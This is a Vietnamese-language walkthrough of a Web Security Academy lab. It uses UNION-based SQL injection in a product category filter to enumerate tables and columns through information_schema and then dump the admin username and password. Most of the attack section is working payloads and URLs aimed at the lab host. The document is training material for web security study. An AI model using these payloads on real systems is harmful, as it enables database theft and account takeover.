Description: bài này có lỗi sql injection ở danh mục sản phẩm. Bạn phải sử dụng Union để thu thập dữ liệu từ những bảng khác. Ứng dụng có chức năng đăng nhập và cơ sở dữ liệu chứa bảng giữ thông tin đăng nhập đó. Bạn cần xác định tên bảng và cột, sau đó truy suất nội dung của bảng để có thể đăng nhập như là 1 quản trị viên.

Tấn công:

- Chọn Gifts: quà tặng.

Url: 0a67003d031b2e40c0554d0000c400e9.web-security-academy.net/filter?category=Gifts

Query: select \* from products where category=’gifts’

- Xác định số cột

Url: 0a67003d031b2e40c0554d0000c400e9.web-security-academy.net/filter?category=Gifts'+UNION+SELECT+null,null--+

Payload: Gifts'+UNION+SELECT+null,null--+

🡪câu truy vấn có 2 cột.

-Liệt kê các bảng trong csdl:

Ban đầu: mình dùng payload: Gifts’+UNION+SELECT+null,\*+from+information\_schema.tables--+

Payload 2: Gifts’+UNION+SELECT+null,(select+group\_concat(table\_name)+from+information\_schema.tables)--+. (MySQL)

🡪 Cả hai ko liệt kê được (Internal server error)

Payload: 'UNION+SELECT+null,table\_name+from+information\_schema.tables--

(thành công ☺)

- Liệt kê các cột trong bảng (cái này mới phức tạp nè):

Chọn 1 bảng có thông tin đăng nhập (users\_nagnln)🡪 liệt kê các cột

Payload: 'UNION+SELECT+null,column\_name+from+information\_schema.columns+where+table\_name='users\_nagnln'--+

(điều kì lạ là dấu nháy đơn )

🡪Bảng hiện ra 2 cột:

|  |
| --- |
| password\_lrxmjr |
| username\_ultwgd |
| Mình liệt kê nội dung trong các cột đó.  Payload:  'UNION+SELECT+null,password\_lrxmjr+from+users\_nagnln--+ |

'UNION+SELECT+null, username\_ultwgd +from+users\_nagnln--+

Mình lấy đươc thông tin đăng nhập của quản trị viên 🡪thành công.